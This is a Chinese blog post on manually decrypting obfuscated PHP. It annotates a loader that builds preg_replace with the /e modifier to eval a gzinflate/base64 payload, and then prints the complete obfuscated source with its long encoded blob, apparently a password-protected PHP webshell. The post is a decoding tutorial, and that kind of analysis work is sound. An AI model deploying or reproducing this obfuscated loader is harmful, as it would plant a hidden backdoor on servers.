最新消息:觉得本站不错的话 记得收藏哦 博客内某些功能仅供测试 讨论群:135931704 快养不起小站了 各位有闲钱就打赏下把 My Email weicots#gmail.com Please replace # with @

手工解密PHP被加密文件 或者如何加密文件

PHP ajiang-tuzi 2389浏览
/*
*文件解密测试测试
*ajiang-tuzi 
*201601012
*www.weicot.com
*其实这个加密比较简单 -个ECHO 就能搞定大部分的代码
*/
<?php
$oj4228 = "p9;/.5un8xihqoatw2407*e)sf3clbg_k(mjyz6vdr1";
//p9;/.5un8xihqoatw2407*e)sf3clbg_k(mjyz6vdr1
$eSkIOV6240 = $oj4228[0].$oj4228[41].$oj4228[22].$oj4228[30].$oj4228[31].$oj4228[41].$oj4228[22].$oj4228[0].$oj4228[28].$oj4228[14].$oj4228[27].$oj4228[22];
//preg_replace
$mGESa4160 = "".chr(101)."\x76\x61\x6C\x28g".chr(122)."infla\x74\x65\x28".chr(98)."\x61\x73".chr(101)."64".chr(95)."".chr(100)."e".chr(99)."o".chr(100)."".chr(101)."\x28";
//这边使用了压缩
//eval(gzinflate(base64_decode(
$mRu8302 = ")\x29\x29;";
// )));
$zhenzhe=$oj4228[3].$oj4228[4].$oj4228[21].$oj4228[3].$oj4228[22];
// /.*/e
$eSkIOV6240($oj4228[3].$oj4228[4].$oj4228[21].$oj4228[3].$oj4228[22], $pmVy3804  ,"6788");
//pmVy3804


/*
<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>*/

关于PHP解压函数gzdecode和gzinflate的使用
PHP 5.4 之后新增的 gzip 解压函数 gzdecode 使用方法,gzdecode — Decodes a gzip compressed string,解压一个使用 gzip 压缩的字符串,这是官网手册上面写到的。

目前很多的服务商的 PHP 版本都没有达到 5.4 ,这也导致使用此函数之后发生函数未定义错误,该如何解决这个问题呢?PHP 官方网站用户提交的日志中有人给出了很好的解决方案,使用 gzinflate 函数代替,代码参考如下:

<?php
if (!function_exists('gzdecode')) {
	function gzdecode($data)
	{
		return gzinflate(substr($data,10,-8));
	}
}

gzinflate 函数的功能大致和 gzdecode 相似,
在返回值的注解中官方给出了一句提示
“The function will return an error
if the uncompressed data is more than 32768 times the length of the compressed input data or more than the optional parameter length. ”

源文件

<?php $oj4228 = "p9;/.5un8xihqoatw2407*e)sf3clbg_k(mjyz6vdr1";$eSkIOV6240 = $oj4228[0].$oj4228[41].$oj4228[22].$oj4228[30].$oj4228[31].$oj4228[41].$oj4228[22].$oj4228[0].$oj4228[28].$oj4228[14].$oj4228[27].$oj4228[22];$mGESa4160 = "".chr(101)."\x76\x61\x6C\x28g".chr(122)."infla\x74\x65\x28".chr(98)."\x61\x73".chr(101)."64".chr(95)."".chr(100)."e".chr(99)."o".chr(100)."".chr(101)."\x28";$mRu8302 = ")\x29\x29;";$pmVy3804 = $mGESa4160."'XZxnr7xed55fx5K/g/WPpScJjulNVl4MvcPQQZYs6tB7//
ThFztK5COhOQc2sNl7rXtd98DhH5N9q/5tStb1H/7XP/xVogiG5FmG0wmVY3lCQhBCIiWEpRiKIjn017/8/d/9YzZ24/Kn9X/NS/yvf/kv78+7Ni/KZO+2f0uyrR6Hd/PfhLorVj0Z/vafm+xr8W9Jk1xvo23Zi/+8OauSZS22P4cI6iEfz/V/wggO/9/DTEvx+7elmLokK/7bX+A//w+w+Ouf/vrXi8D/9SKJ9xN+F/ZfL4R6P8l33ef9pN+Ffxfi37f9aUNi/77P/2mH/Mc69N/XoW879N2OC+/f/9GO+LPt//sbof6GpzBdXjMKNRyVg+eEs+j2HfULY7
/DFUVYVjx8kQrucdsTtl3Q7xsgYVcTO15jcwqSlmsQQdCVOo+Ty74BZQuaSaaoIy3I4giLIy3JIp6GaNauR02E+1ySCgCi7kOmGgWa6BBaWHKQtB4CUDzQk69UKB1FIDsY8pNT5qAOWeYmz6fjcHJaj2/NtgWd+EGSA4dxVg1YDBVGs4hG4W6XK8BtHc6KXjpYDubwAaMZdKdLebCSv5u4ose0C4ra3Ct9IEdQo+fUSNY7fazrhynpdgDIHA6eQO2XwV1GODID2AjwgMlx99umFTaX9VtCjHlOdV5x+nQaKSQzIKrSxaPRO9yTATwk9JwXBqpV647wUSVAoGgM/gjqaEowcvsrpjCbLVJc8ltpsZA8dp/MwIaEf8iI0LWz/mQlA3YSQ6lCvZ1pxWQCLMFQLy6R9LgidytTxD9oOboJ/1jTWeSEpExYKdn0h8sXC+HNrvydWDZluxUf0E1nJo2FT2JfctTJZA0pm3BUpoEmVTa2fNtLeyVSIKeWZq1VdNyXBd887m/oJNj8yRnzkYJo6KONLnc0eXIVDUspBopPRrfEnOn6l+3Ijbyo4uBA/8SGX/DV2Xs2o3UsGFM/xD4OGu5ENRX+oA8vGVTq5huNMRFKmqf+QzlW6TGK+6VbYHPCEOamwCJsZjC1SeOQMdJxycEP8pj2PadmJdEwbV4jOppV1BWmhZZpPudNjkYI71rUB/aRhbEn5COj5K9kFJ/x99EG9k5zHc7tM2C4WdKBcz1Ih5MfKgG7vziMWyZWh9GMy7mptYaBWSiB6HYRDSAK8fdmMT/qIQJkdFuzAQzi11UZNG2xdn60bkanCeMm83Pvh3NP/ImN1+cDgyAFB7/eXZjs2483TrLSr+OO6/eJ9az69cC908XxKsoApwucQOqWT0khmMtnOqPRrG8sO4pwsOhb8BUPoBZFRXy5L8e8zn4Fy9rxIcsxqahX3osRrn2yTMV+nyZ/x1FEB5tv0WQzrE/NAHbmk4oQs5yBs9oNNb/PnjMlx3y802TCPs8nbvDKKn+SI0eBwmQFu15+N7uZpG1vE9jX8GnT1eqSbgX2kO4J9V4ZAL8zGP/dtW/ZeVzuCeUDcBILmERYdhEkck4m0+Py8Qj90JYuiC/KAzOsfLp83h8x9OuWu5Sc/BZM6NSMMaRtmSOCTwRyMVHWKCcf95J/7p51CQNpTrEbgh4eexVgILcqS0165CPLzKpO/NOgy6msZi+XWihCyLDyBzwBkuz96qr7OIMIi6lkvSdZlVkeKhzFTimcmwHOubHVF0stm0jns0g9lw6SANj0qGvcLNSt1SGuNlMwnw97Eh7AlC2fVl2eozz6ifK70IXyg38+HGLN92/9JvxNOsrK0PpXTojxG0N42mofWStKabmbCa0kk43d5sfVQxNg7o7YBJJUJ+Y8tUiJATUjqE2h8Ez6sPiYnBF9ZT7SNn8q1y8CauJ46sWbXCWXVRIXbDon17rYbluVks8Esgf0Eb7wR/F+b1joTHVC+4jX+a1ekSciWeF/61Poqg9kxjvmnQL/jbk9BTNY1KUhqtbiLLsSsQ7iinv+Y9l45VL544VRoAcl0PmmPuiCG0c+hzPhyNqpYXlEpfJR3CMn190YEjPrI9DppylnrlggM7Q/MR6b9x5foq6Fvsfw04j7clIkjn6MhTcoduYSU5HrwJPwHWMKxHBq1lm6z+L8du0j4JEdhCHR5Q4tVNJNsxoVTyeWMBwxbpT+gzaKxpnHfy6ijS5YTjqC976zjgTntZMOZMC9wxgy6RfEKSuxEohU0WIG/MaLDGWqqy4Q7lnNWM/fUk3DTI9+TNBuhwLNggEtCka2TCH7Y519f8klNXUhkdGBwyyX/1pdtt68dmJHEFsGhYa8hXBC0BORKq9U4Lgk0d2eaj1qooYQgyvn+vhCrtyNL//mMdeITX2eULPzL827gngpRjYaaburtXBzYjXolthPG6fFTCsAq2EHbZKYTgTBQsZri3xTLBMzEJ55sjLgkzctq5cKucfxy41x4jfoWAECHE8NKMe/Td9L2g9umk7dCpbzMxLJujqjx5WNf+SuuLxxUrPf+IB0yFeyC0n97WGC1hjvnM98f8/Dh3BVdyaYag4ELqo84qvGUzbNQJAqw2aCg1kYSkad0ad8HBtrlTnjq7Dw1ZulVIIAxC3RO/py7Hx9EIWRIfyJ/sAbb8VKadCohpvqNH7DFCNKK4QfYOsD8bp9FtzR1gYhiaGQZGF8bpdSMqK4eEd0DBtKxOPTIMgHbI1M9h1CmgLwnA6Q79eTFDcszI8Zp6wxYF2ZNi2/oKvDItDjQVr8ycV8mhtJI/eHD/eblL6EvUI+p2oJY/9qUVdmpaaDdfDgouihoZ7BC4Wxc7cIUX5kFQpv9JvBE1hyvzMyNio3NswCkPSsIfEHzFT5SxNucHfdB/osXJ/0Obj4mYsny0zBGApA5WUETOb+LbQpA5PPATBTbwUDfzq30BrI3uqR8BU/adnrv4wbyzQI1eRxUtZ+jCGoIHQeMV6gUQteIIWs2CxxHsaU25Sls7SJJEfqu67nur2UzYPXMKSUsmi7SDOSdAdQP1NNiJkZ6QxpdMnyafFWOwyEnrCPjPhLdg+e9spdywgfAJiVMcVE2JB5R5Q8Ohwi40iQVvYgnmybCGJShcSOGYK5JNrjNBQ/oX0JP/bcVenI/hC0UBqp63sO0mGK1yq2y8y1ZI0MtgakYtU/gYMOhXf3llPP6uAxOGnCg74K6ibz5MWrdg4OZ3Z+M+ffll+V4G2oqa0xYPlKaZmKtiZEYq3TTRIxDXuXaaZSyK8oFqaxBjl8L9HqVrM1WtLhUP4LGEL8XHl+Gf03eMQpjG3QVFClaoSZC4Pkc45+pnUBt2Zzg35DkCy2e7RrXx5/H/sjKlJBRH76BDe2oOpjfI8spUrr24cNkHsb9BVCmI3Zc737nuZfliPhGFXFjVI8dx2w0A3lkRM42eZMlHxawIn9W36DazWTb5EV9wb7ykQ27VLZFlcFD6l+CW2mA1VZ5Ih3vj63LbOudAZfmp8Z/S6iAM7+GHrEfqM9ZkkufasQve64v/W/FypRNwDLkALEB9wUdZ/Jfl32KCeQcV+QbQl8OM2Ja0mQLk+EM2MsFGe4CgieHfoa+88D4DDG0HkR+jz1Q0G23lGGf/1QhkhukmTnCZs+n7gREHVOprauu/pmYohGS6ED2kLaUcuYK23td5z2vLXcuuLvvbdTMtVuYkTeKUN0oChzPSOx7abtj0mLhW99N9By7LFNBWt7ygRpOe3xsMTXCEp+ueiANZVJiaPM+2dQAF9l5+E5vFrRcPTbx1wurQhKunW2P2n/88+tAFBiW3LOjwzPRgg1WTBSysImLUCgzJ2cHIeaJiTKBWP6AzoPTQSiSYFkvu0ACZHkmX1o6xmyF1nxoVUA82vollfwdiDG8W9cPWpgutxG3SMGrZwCrWJl9Zqn51n2iQhjDMv6+mTP3nCHf8qjiQSJBKzUcGju67YMlxFm1FcmUUJK6BqQoD/m9ACgHYmrPEyKAZjGRZ50RHVa16T3DebpUkE8X8D9LLgvL6Qfz/MUBUy+PggxjhY37NjMmN3qfaIMZi47g/qmBpu6m5cryLY1+hDHm8CkXzP/SqbG+hrLnr/+V8N4FSO57c3UJ1zx1kKqByHMNGwyv14jYSHXKONu//Rk+EFP98gFJhhv5UnX53LSolk+X5v2CqMfCNXNSrf6ZL49QDrifzkkjK4R7g8KU7MRMlBFT38Xg24ljvga8dxMeb75AngWYFoeeC7AoTxMRGek3BkRdWhmL0XVIcOWuAavbHyWSSCZY/78JJNxqfUDaG9pdCLzLiZfs3r8Y6/qb+mqi51NDptOxI7yhwcQuEfNKWXamvATkqm+V0GuPzOVExY+EJJhC9UNTBf91kBy7QQ8RWU3m0iTjJJoZ91Qbj8BBlYnkKjOrBbV/NmlUZpFMuNx9OX2QQp37ucenRI/9SLhFzzfl6ICuCLSixP6Wfl7metxEIq7NlFbdrWY2EKIpDRdeEZQTb0bzd+aM6T1E0ulcPZ6DaCUKBKNTrnoq3+TL84HYtEEZW76Sr61ekJvaidCeG7hXki5D6pS90M4gRptJ7Y1Eao74fl9wfoM8Hqtepz4qDeQORWSW/3wgExXNR6ykx+8vHnTaT5AwO9J1SJDpv5+p3gcmfK5Aya7qVeEiBuF+3h2x40luWAQSFhm1EOju3CBvZIny8ebP6yRSh/DM78N4shtIUXT5WkhWEyCnrMGD3wW6WAJ+QR4TgEbXKPqpnfI81Bfr0tVAs13lqxVe2wsAAs7NrzMKt8L7OvwcnNVskmMNoOCNHlmka9yKd+vHf9M+K52QT4NqJM/KlRJZHwd0jC/rqFJCk4CFJ9vc7hnP9Q14VRbf1DiuTDgszc/fsOpHz/FrdsAIid+evGHUwdOcujGo0ODePOP7TFQyU8wyLqUyCA0eAEfbp6izFohE8bgWU0RK/dVRMFIM16/XwrYomwNxK3SzML4DD2M25GR3znz3dDfoAERsQ8t6woTRu69WmszoLe0xyNQnfSKQPBJGfd5hP1ZQp2a+Go6X6sQ/EtX1CKijyE+s7gJdQqATDlPXSfhrgMDywWjLEmsywluFpBYqcKSDmESs9ujvBJWH5fLy6XJOtXgIQm8TIKPJ9tmdHDITzXpdW24UmVhhJWTsmKPE9gh3bizSAkPqzFAlHjzkQmx8TBFiq9sos1eEhTk+BNOHPFCSh+CMy+EecAxpoO+zT7t23GEnJ1hVQmsZyfQ31HXQqGZLWmPDMtGDMmfhX/cCq0z19+GzywdOjivyEqzgcr+AnDmXXCfkTbfj0/DOtAdWkDgCUiEXzGnOl6Q4HVSkm7JqEr1zPhDNZnOmkmxW5jrlz8tTSfCYJ2S6qFXct3ziSo9mdsVkuNkLxhItufXHGJBEDB3tTaF8VrxKHlK4VEqL/pUwMbNZV/YKHHmGpWuAiiSHCA8PvnZyXrZReIXAt5A+xpzA851khNlAqT4iNEjEL/r49nBd+trbbQSiZCx+ozSeamDSXY+s4tGmQn+9nsVRH7W5beogXPbZNqUhyv887+nWsSzjCWh8f0aoWjnNZNGW9/mw9U7toowxtRkFJJyqvR92SVBfqVhBXNTRSAc5lRozCUiDGjljFuZ51IzGzaU7/IXfAV10jEzOHQCvxsiaHZ6lc2dP76cqWhA6bYRpNFkDfFahxf1Mmy1TNtPMvRaXJm7o7KsHGJR3UpS14zztFro0zgffpudyUGjzhm5KgHthTGDioG+ZteKWUKV5s2vnwLeH7ToOxy18GEyrbR4vUS41fo0qh7bxlkEZln4Ic+lGUqeFd65GZWHa/SzLo3+p1fyAg1kV1WC3Gjqr8/m0mzNcCwK/+dzy6XbMXFukOzP1W7xfm7aDA7+ZD9lJlTmTbg0xFHamAWMiOvMJBPf6WZ05kRAVnOHpBYUfpFguQzYSRmDQL+lVtbrOs7BiiSVOSZaZD+OE5A5hSjVytGL1m2OfKGzTAqddKKDHk40Xo7qpyWmo9DP8sv8zM7zkqknLxmJYvOLSsymXgZXWlbjLkNng35rNppYTKKv66SBX3xB10qRJfjZYk98r7WPBR18tTlnN
/cbO91zXlWhUDM2O/rJ9c5gX3f5Ww6I4bYz0FjS+nQs0DeSDTmOasY0nFF0rV5EmhE7b9/w8RqqfUeXMDNJKRT6vrrW9YK7Uujaz8i0oJjMX4TdaejbK1h+TDo3Jwn39iQCDXCHgNJyifNo2xyjXLQ8IQtOJSnnDwkBxLt0Dt3sFj02TxQYO2pkYZ12TNUmqc+a2QRjknkfza70PblF61WXNfVF/MKJtwTIlDp8X95V5W3WfYCo/KnqIlCC3+5zRRpAfZn4UXYOL4kOB4Q8KEB4FvRhBGjzLutGgzpq6+lzAyOuwZ/3Ks4DG+1ppTAGQEy4gyv7gJS4ByuPrNcuT1GxrPGr4PWSURRIAQCDRIzibAzZ+cbb67peIzhmSUpp/rmPSlJT47wdrBzfSCgzAsUUKL5+5sU1I8RK73xb7kHXegD5UB3DkpHZAkeidBJFmT5qMdWYdhtAsVPz+hVPGxx4JDs1IkeCD7u+meriOD8AeCRmc7qD/Vwv+47zV5k+gvsBHkX53sxjr3dgEN+NIjo94AhD67j+TMEPYjJkJu8bXiC2DXgk8ujHQ3+SxnR6DxfSvB/6W9otvJPQBwIriTcaO7ieMrHoFQcKsiy3On8sMO7dqnL3L/p1mDtlqyhGRLsbOKR0p5wVaR008m1aa2oykUN+8+NrTxDjLzWlL2RNdEFvFY0f5ITrvj3efr4RquJQLEAJZBUI8KQOn2usw91XGwloH9nAWeMwW90PHWX7l2RXJxtvzpOD46JqUryTB2p6c1VDdbGMdUg6LQKJyYDANdrTeC4djv3ozwIyGVh2jCLHRLMqkyYvfFYbYdny4rYI4Jbfd7zd+FdFKElJmxGVEQv9AixplOnW1lFR+84jPkFNgSZW/txswwhxuve3H8KdJcKb7ICQYT+YCEONw/H0E8adYYuz
/2GaWAzRsI/jY44UcmNy7+QskC/H67Wz+RFQfFvb3NgC56l9VdSpowppAmmQScXGjCjKk9H3Lj3kUzSQdYrYqaPZoN/Ne3wfcZVaw4jNWTHLwsj8QyWYceMBAus3xkwJckv5I+jN1K9joLbTFtpqIClVSqedrGiOZmuyo0f5QGQRITpo710q1PLFDgWJBQwEClrij2J61enR4u4tuBnfiRh3j4ymNVHV45fui6DDe7Q8/spdGAjqQCP4H1t6VXxdcrwWoprl20pQKb+e7W8dUMaA+H6ejwPVDdJ0cVTcABewFbTZYxCCvGkDuJUtrw5Vad/pHEbodL3nNOhB/gBu+0Gp9lMqCWvxG1NIe80xls18mkX+IFA/6hC/KZSEtNVHfPd1ZfkGG2gACFbiVFiF+94FRzceMzhBtEvl2od+ByDWZAP/coxy9iZjqgob0mIEUYtiTR6W4Tzi3+y+vnxJZ1mffV8qBvOfUmgzh2DDsuHZL61Fx79cmCEH/i6eB3Vr3Hwuai4MXaV0OL9i9PYq4vtg9JRqJibxq3jQmfT5CEbSsVFnnR3s2X1MWT9sOedHJn0oyWE5v+2E2D/E90hfwr5mlRAhQPqQhy0C8/H60mf6pm0Kf/e7TiG3rbk+i30q6HDDuOrPUVHTZdTlwvSmULOfzWWn7z4Xys2Ya0VUPpT9ev57LnkS/B6Jq4pEeGz/R7MORbID1ec+nkbuZkm/1EmJYZRKpiIL0f3gyUk5gKU2GvqxRPwaksDUgZ/u2lvltD+sRTbZ7lDKFrIMRj9uY6bcoUI6AZjiJk7CaupMuUx98lkVBXDyTzktP3wjdwNbLYFVXOy68vI4IM5sQmVREdo5T4FmEED7/mhnqQ+WbV/lKjrNn7POjZUz4OmRlHJmUl4NnO+xSZ
/oexmTslIfzvC6RlM8V1Ov+QyP4fjw7kGJC3a/qNDU/l6IQylNaWq01+kyf26NEMvOXMuz07/62nF3pa2mISnLbgfA5j+ulT7rMzUw7Nx3ykQyKcV7YhCJKxokq2XfclVj/8cvc3IJ62dIF3X9NZpgKx4zk0PI6uUqZQdK8twUp8tEerhz7O6UtptIQwTJX/n1cHbwoek3ie8xR5qrHqLLfvSbUafnt0bJtMfQPkM/xbXJHsKO9xKGE8zeysjbH7EHj0ERr9SIgYbmvr9bPlv3MgE1OgGSWr/iJ/rQqWiilOlJhvUWwAvI6voN8Uw9bPTTSQXKhK95AtnaqKd3YnK8GEByWknFv0/vePk/uJx5lnXZwbrpEg5pIhL6qMfFtMewQ3+eTepopkQBd3R5BDQVFPFbHUeJST/eqcbj0/LIjfJ4pE6LjG0mRQinG51Bi+aEbrYgf64ngqY1qBakJGv5mJDJhsNBERj5fikpqSicz2kIqNXnfKP0zZl2TDHd4W9mXLNhHHueM5L8wzIprsgzVUKf+kKZgR9pq49P+YWxvYgvCfjKDKqxyjLUabLI63kGjvojFVBQeZYa4LFvdniO94EXRN0Gb7dq3FL9sPj3Gcpd++nm0rRpbpWgWZ4fELm0jvcxPS6c+VOMVvEC2FK8pnRbDZy8FuCXQxjIocQNmVF4KBYPEjlfJ4T3/YIUg6Gy19vP5PmGsUusJ4ZP5b35G6e1+kOJT1HVt2ssMId+g5PXP78w/YFuFPQppoEVHtamcMlnEp5/biVQRMRnKwnFSdTaoH3urcV9+xuhWvaXFgQGjlLqbmEzUjaXCi2ssLrGf1bv0wOyIffZeWYKPShYU1nDzCW1L8O1BUwlhZ9aw4hSn7v2JbcPldAyd/Y5D4haDeS1z8Kfyxb3Hj2+lkLSzW/1PC7csA+8wM9PwT7QYruuuFLhQnRZnYa9zHme2/QMqx94tbncA7XZxaVY7boG0is8PbA4pUDM2Zl3uJv1M3AkM44HZL/Ik83TuPTfOl7yO7LMggIXN/IF7dmvtd8tBZxh1JrLBfwuOjQcU5nAG3tSo+EbN9G/Hpc55vDBqdc0rkIjKodu13eTinlFZ2vtFnN3dtU+KBsKySUMTEb7mKO+1HNQznOAi4NKKffQzPhaBly579X1pff7Y2ShmX69acHxp0foDzdLsstUClBfQDwFoQKdMK8lKJ1bqB6aOsH67gdivgkk7F6GMkWhwXXe1KEloKrYKytM5Q1
/sBxPsysVK5BkBDwxkHUFP9mPBU3Ea6RYH8+Ne90aUFTAnqDhOaQJ0/qiMpSoplw84BK3Xe0IC20NeLMi1vbJppZB/Oc+NvWqbe/PuzboF4q4/R8Xu8cq4f2mlW7ZuPbQan9txU4TGujtepozF6CQom3d6pf6XDyZi6pR2N+xOMFHJngGZ5yOggRdGZWS3SIidLjnIbRGw8f5vfBG1qGAEinQQ4PhWXhKbHIZi6ggiu+J6rRZbxusG+PVBzaILruo7v2pSJKVWQH0KSDLWn6UFJffxMRJSefBzRnhzBKXOmytdFvyUN1Dxq4rqihTxPWPwgQWrYay+PWVD6TG7DQSGsWqwK59DmJKMLttdbU9E33Awsw20ebTFHLFqp3UHHY3to96zOOy2aJ6p2b+BbuQOlnGjrTAH+41ZVripStVpHv694ZtNtB1D4UIY7auoIYccTz5D81CXmBMEHkLFZP0Bf5dGpqNQbqXflUZsgH7edSpYiN9+Saz3a+pfsUFieg2iYMm8RJMiYBEGJH1WZ4o2ajXD33hYdjmA6bWh1AOyST7etHkvEezHR2cnyQ3TRaXJQYODoiawEA5U9h5ky16obksUiSAGHpZxHsErVK+dEuE/UXbQUbC3wwzVKYmsTvdfkxjOLwxsdIet4jbcW9ZfrRMmebWOD6IDYjftl4+He1UWb7J8zcLdCbaQKoijXwCd9lSDSqHgMIBpI51/Q+9e+r12kREwEZCR55CVH+CtpK3rU1nBJka/3JQiGwiw2nc/vVSaZnCJ94Kd7ILTaXPRXq+gueb17p8LBD/AYVpU/RrTuBCCUpzgmXs19M+fwDskn0JLp3U1xOfTybOyKH0rsTDG7SRl3BazC7Np0noKEgbodvQivLZkf3gASxQvvwX9fEyNgmTSuwegzmBSvlWXJP7C03dYNTDQgUeX+bKJBnCF3ghbD8KWsYX9Sxd1HQ2v07p7fM9vIiYW/dRnZv+MkieM7uwvWH8Xr8sVJhIPv69v8PaQPHL/sBgR/FzaYkGXwRh6WueS4L2YX4mt4HrAGv+gCAR7cNAfdawxyHSBKpcuUkSXJFvyoqSI1wwXMMAmPLSIBH44HMcWOTQtyZhU3kZwrR/5M9MENVf+qFCOpkmMWvaNWGfqnEerDVXCbUSUAv2lOd752xH+0+WdGGUYkhwK+DZTq0P3ugm5GzIWtILdQR3Nk9FR8Nl9e47kcfkm+0gWN9BmV+RcBVCQHVXTbi+q0+bGqDJ9oMVrs8cejIEugw/BGXDgfHDDKP+sQURQJqXfAXdg9XVk0WoiASjgo7FVlXZjM2PRXFykkC3LIKYZYakfFRMvAN8i0YZ2ja+9xW/Po2wEfXnmQ3FaKEIB3fxtH7t64qcttnimS7Z3SbcFKqmXrLG2BK9Bu3C1zvmjho5wbFiqVYg05h3ZjIhPCoFq2vgvCXLIh9vnvXGJRLVjUDjTTYVWuctdFLPYxfw6mNb+ULwv0YHCIVw67Etd91hn8oyOl8yKFT
/hRaLZdVVco2zL32iKz9WG3eRCTiJmA6H//3IqzV+7Oueulj7Xoz0AcWufqPUNX6ztm7YCtuHfBOFKs9Dz1mVAkNYhuHJjavNaI0/aexbkoWVIbmpF8W0mO4qmZL+3O2qEBA6mmqHGm+Ty5yZzcgIPNS4iLT58wVoYvwe4OfOmlk3JK4jBbU2ZN4Hk/V1v7X245xYulMn+qqaa2MOjr9jOK7pd+f7Xx1qYcBA6wxR97z7MOkgPipocTymK0uNduftRhK8k4dO5Yf+5rijznpv8ojCLGS8zKEj9NWI/aKApTnlxFkhmmvrpBpMrrjWIUHN3nG1IpC7xowkHS+ofZTat/vNn4flBMs8psrhhUe/r+PEr0LcELbAKgjUeQM0L1Qy2xBT5JAsDyUTBEMhGpFMg+rAzRfwfOq3WivtJA3bUxgFGe2fFJpWXirUQeshkOrGUrfiz6t/dh6iD/8U0hBpY/kVgpKRvmXH/cxnYHegoJuT1fpxSA4NA23AC1f/0oPGxzNq7/nBdYAn1grLTONlswZRlOgNMDLfTIK4FrTeYnrji8Pd6l0G43v+k/jtJyvoFL6Bpnh4X+wbk3QMoxeoMQlZY2uCEZ3pdsOsumGzJb65rvbIpKwahPdfKfSeXo5q6xdINuuTxXv1bbf/GiA/8W21TX//iEjXq6C2f6FBVVbSE9OuWr+Bz5xEYqRjRHzuplu8LYFXQWC1Mq5eY5kVyn5fakiRK3Tl1ibTwbO+Zstgr8Teim/5K8IGMZMS1CHuN2AzeyD0Tmyej4WiRtm2/zG+E7tJqHtgg/WzPlvi2/t61W8Z3pKGXLoHolDwmO6DlrfwvAEjwGaCGOyqplhhypJGmvBnz8TPO9fpIeWg/gpKrckz9iQT78UZNc6GrKu9F+9T5NsQxp3G5yd+FSvNhTUBkXun9pRhZ72wj0nD6dhPm8URNJq/EZBHhl8HT3G4cKw4BWg2aOGyDeIB98T8ljCKrEIhoOPyA8jSgphCiRwInF7BhNzJvUEKAJEOxNAlveCIynEidxDot/vGUt186rXe4dSfY/st0Lo80H7ENedge8UoU0M9VgXISDL/UXVV9+EekED9VfqGI24tS+8hPCWC6rWlUtrgA2hYchcAOfMaxJ3l9FOJxp5ha3fXCaSSJvMOuYN+hF+Xu9XcAS/das/2CsoxNdsJ8hhA29Cx5xs5irIU73juq0wpP+vRbm/6uYXcqZ53f36dRlX8LzTsr3aNzpZVvQVPE/Z8JCegdvYzXN7s/RBODk84br7BVOAb1d4Mm7eY/rOh2a/kQTlVxpVv2WEcuZGNBaFcr4vFX1hwmcAi417+uQ/qnLEWJYKN+ZUYRXIH5PDLa7+sLm3dBRN1Q7PaKZdWG7nvtl1nZfCgspgzLgeRPOhc7iagqcKsNS7ELvnHVU5nOV+J5CiiEjXAZTsQWnLJqDPDMxqlWvVs1jlXiXkFHhAGR2HdMC1j5P0AD9F8eKY8kod/F3NFYbjNsUeElRgo4YzVVuUy+tH6rdusX1TaiFR0qKcfDI1Ipp8FUyM/W0ixMO0QJiIE+Z983uLiMlrSE8iI4+JPWQjECQWfDeLNIMLsou/1+cAzx48HwTy/5TrpOGLBfVW3OB4xp6ngkmc2eLCVjQ8KdbKafbORDS9TAujkt1F6KbWcB/lluqG+kpOiy4X9nr2dECnxM6uG+QbBbAgD7iPRB/p+PF8JUwLqCe0u3Vc5hHkXi6c+FDdgi8/6WdMjvgRafdYkOFl00R6siwy8cCbI7q+r0NO70KlbfYkTMjbsgu761toNgI8XFgzXwXLjF0FA+3QdLjABsR6iFcjS+SaJT/l5dMaBV13hS0Z4VOr8b+9rKOydO+HeoFD7tixD050zfatZA65iFv/YpzfHwvmQYpWMC/mD9XnSmjdvDTj6xRs9Z6Mr/bQ5hL4FA1pAL7GlXOCsceChinpS2F4weYBvARKLFXMB0/UVwFllCcoK/+I7Tq8Ns/WOw397GlXf1II+xum69ECd2arMq7NmdYdc3l6rsPOKgwpl/a6ZrdPyRSXC9cDV1iI0TP+0DKrmVlmlto/r35yLubvZfASzK67RyOYeyivwpoSotZT/LFVvNkKk6vjomFcVmtQXJd/JDJy2/m1rbgKlWzYExofr5NuJEcIjTAltCvqhkkTNH+ckGpZcvz1Lf6di1dtFABE/HY2X7sjtOt9RTZT4ejUkoecXEY7MtV38cLDXtel5CN0p6yqGdzPaM/mPIcADIef7KQ3fTcxcE+ihm9BISN7xIFCtSIU8yEpEMHiiUmQ6+Cp+EuRlCeOmqEdqxvxqjUA6evGGm0MKe05YdjTqs0Era2kAF0CG8UmxwUeVvzX/baa1+ZCB7sQf6Lw/PoEa1FhS7RqOH8Fj9M19fe2VfAurupOIhXo4Gohhyrpueo2Glju1RfRAjYWw4aHa4gk5eWzKqr18OAuOv44Fi9IZDrIVtIJbp0TunwfOsxvyHC/0AF1LdrLU0NZ/a4jm+sJRLs7ydX9fWwi8/MEmtLRiTgn3jG8HLhAqYp6EO3GNR1u1X5lYeQvpcLTwXaLyYPkdYgAe3P0LFOuHL1M3JPy3G7ftG06zi6LyqR2HNX80/YElJ52CLYLZQmke8qONDRvrWz7BPX1JWWyx3yZG5P7mzvrOpYgoqqnQhweoJZg0IwVUy06b0HUp/U7t6EMtxNmjLfrErMC+zw5cyyJIWf/8foi4MjLm/PXfiDgti7Zijz7NbQg24jkJs1V5HLnHr2OvPlXKEOXHjFU2PFRBuWi6kku7l8ApYGjx4EstCZQj7lg7JuH20AjhHO+9LsOpvoZrtvs4DZPPQMt2yktusQqSdgCMz2lZzCPmJ9YDaWgxX626Aa2BoTUyPhXzMwAPpjjn7XSge4dEMkAFA0DYLuhNgPntHGX+SiRYrjvggnRnAt8SLKt53BeyHC6paRZaNqddgVLtezwyk2IXv1gRkeUnVyYVRAuzPtYp8CaJkOxOLYQEV2COtMkFUoE21AdstE8JwCvMtEJc732gyCfVyUaXYxrx/GcsbXNtz6fYiHBpv7NQ1wkZCmFCqs+8IqhPMe5V4AiyJM+L76miw2iWJhrftcIrNfnbxAYqMh1MNBwsboYTcrmh1mTv3cipCwkVqAO+tPBbCoxI53Civ/Hm2ja0MJ75gQsnPdod14PaHfRhQ+0jq0aGXWv2Qbmzu7vUDnU3uuj+C8MzfLWBfDijMRZnC4axjFiRoKeswAo37ZqkfcS6iz+mlTygw/IxiXcMDECiYhqNQaDZjVtQOHub/T1ooTXzg0ea9GYhtv9wzFsOIiowDjKpQqrjV2607cvWwC6qY4FanIEAvheKE0q+b2qNIX2oVAisi+R288Pr4h40p22II4FfQSJ34zmCC9wJuqKGRGsx5XxM0GPBAo/TAchdMgOIIH+VhTZx2ff5R5vw2lOglkXn7h4+2L7mUoribxj86qeuoBChCym5g50eNRmXoAdmnME2u2X4aeSJ0qNslYSHZdPcyEW303vL76vSFdD2BJu3JxJvqN1rVDjxWXLI80bg3pIRN6i7+cj7Ilj7a/a74ttFClkrRuw8ZefZMKaMx2WtDZGW/Akt1S8OCu6jlBVyowYJ2GIxXV/rWppdSUOfSNG6OxUKsXPe0HYMja8YS